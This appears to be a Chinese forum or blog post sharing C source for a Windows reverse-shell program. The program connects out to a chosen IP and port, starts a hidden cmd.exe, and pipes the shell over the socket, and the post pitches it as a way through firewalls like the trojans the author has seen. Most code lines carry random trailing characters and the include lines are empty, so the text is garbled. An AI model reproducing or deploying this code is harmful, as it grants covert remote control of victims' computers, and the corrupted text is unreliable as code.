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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VQZ3&]o  
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/* ============================== g^NdN46%  
Rebound port in Windows NT 5~<> h~yJ  
By wind,2006/7 ?1xBhKq  
===============================*/ 3P6pQm'.f  
#include F 71  
#include +uM1#-+h  
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#pragma comment(lib,"wsock32.lib") 95_ ?F7}9  
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void OutputShell(); 3I^KJ/)A  
SOCKET sClient; brb8C%j}9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jZ7/p^c5R  
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void main(int argc,char **argv) /R8>f  
{ RV.z xPw>>  
WSADATA stWsaData; $|C%G6!s?@  
int nRet; yUq,9.6Ig  
SOCKADDR_IN stSaiClient,stSaiServer; 5{zXh  
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if(argc != 3) ?Mp~^sgp'  
{ !3DWz6u  
printf("Useage:\n\rRebound DestIP DestPort\n"); U; ?%rM6  
return; LbJ tU !  
} ~q?IG5s*Z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -3/:Dk`3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }zj w\  
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stSaiClient.sin_family = AF_INET; Ig'Y]%Z0  
stSaiClient.sin_port = htons(0); K)]7e?:Wu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S6 $S%$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T$06DS  
{ k*-_CO-h  
printf("Bind Socket Failed!\n"); D=mU!rjr1  
return; Lbq"( b  
} _0)#-L>xKF  
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stSaiServer.sin_family = AF_INET; C(3yJzg>y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i`gsT[JQRX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P~#!-9?  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~4U[p  50  
{ '# "Z$  
printf("Connect Error!"); Fh? ;,Z  
return; $ e+@9LNK  
} "}\2zub9  
OutputShell(); *GfGyOS(  
} '<!/\Jz9l  
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void OutputShell() Q0gO1 T  
{ [p$b@og/>  
char szBuff[1024]; ,vrdtL  
SECURITY_ATTRIBUTES stSecurityAttributes; `Vw9j,G  
OSVERSIONINFO stOsversionInfo; "@gJ[BL#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dg4"4\c*P  
STARTUPINFO stStartupInfo; EQyRP. dq  
char *szShell; u%V =Ze  
PROCESS_INFORMATION stProcessInformation; -]Z!_[MlDF  
unsigned long lBytesRead; vROl}s;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :GIY"l'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7WiVor$g-  
stSecurityAttributes.lpSecurityDescriptor = 0; y`E2IE2o  
stSecurityAttributes.bInheritHandle = TRUE; hEl)BRJ  
q+~z# jFX  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #"O9\X/B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O!d^v9hM,  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9'3bzhT$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +DF<o U~  
stStartupInfo.wShowWindow = SW_HIDE; `tVBV :4\  
stStartupInfo.hStdInput = hReadPipe; 7V4 iPx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a,d\< mx  
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GetVersionEx(&stOsversionInfo); BC(f1  
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switch(stOsversionInfo.dwPlatformId) s$C;31k  
{ 9$~D4T  
case 1: Aw4Qm2Kf  
szShell = "command.com"; m/0G=%d%k  
break; g"2@E  
default: *Sz`=U7n  
szShell = "cmd.exe"; <!y_L5S|   
break; .W,< ]L '  
} -gu)d5b  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3 cT  
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send(sClient,szMsg,77,0); ^M,t`r{  
while(1) ;1NZY.pyc  
{ ppR_y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r4J4|&ym  
if(lBytesRead) #E^%h  
{ pP{b!1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pA4/ '7nCl  
send(sClient,szBuff,lBytesRead,0); >7vSN<w~m  
} -hQ=0h~\B.  
else 7vNS@[8  
{ T(a* d7  
lBytesRead=recv(sClient,szBuff,1024,0); g|"z'_  
if(lBytesRead<=0) break; ) OZDq]mV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pJ+>qy5  
} g[8V fIe  
} 5f/[HO)  
:7W5R  
return; s<E_74q1  
}
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